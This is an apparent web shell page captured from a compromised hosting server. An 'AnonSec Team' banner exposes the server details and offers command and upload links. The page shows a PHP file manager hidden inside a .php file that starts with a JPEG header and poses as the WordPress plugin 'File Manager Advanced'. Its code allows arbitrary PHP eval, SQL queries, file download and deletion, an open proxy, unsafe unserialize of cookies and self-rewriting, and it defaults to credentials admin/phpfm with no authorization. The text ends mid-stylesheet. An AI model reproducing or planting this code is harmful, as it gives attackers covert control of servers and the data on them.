AnonSec Team
Server IP : 198.54.120.203  /  Your IP : 216.73.216.181
Web Server : LiteSpeed
System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64
User : greakqsw ( 1698)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/greakqsw/theblogginglab.org/1j67kd-20260312064026/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/greakqsw/theblogginglab.org/1j67kd-20260312064026/1eauq5.tar
oiq2p.php000064400000233561151531126630006324 0ustar00ÿØÿà JFIF      ÿÛ C      

	!"$"$ÿÛ C  ÿÀ  ° ÿÄ            	

ÿÄ µ   } !1AQa "q2‘¡#B±ÁRÑð$3br‚	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ         	

ÿÄ µ   w !1AQ aq"2B‘¡±Á	#3RðbrÑ
$4á%ñ&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚâãäåæçèéêòóôõö÷øùúÿÚ   ? ȏN
<?php
/**
  Plugin Name: File Manager Advanced
  Plugin URI: https://wordpress.org/plugins/file-manager-advanced
  Description: Cpanel for files management in wordpress
  Author: modalweb
  Version: 5.2.12
  Author URI: https://advancedfilemanager.com
  License: GPLv2
**/
/**
 * Loading constants
 */

// Configuration — do not change manually!

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
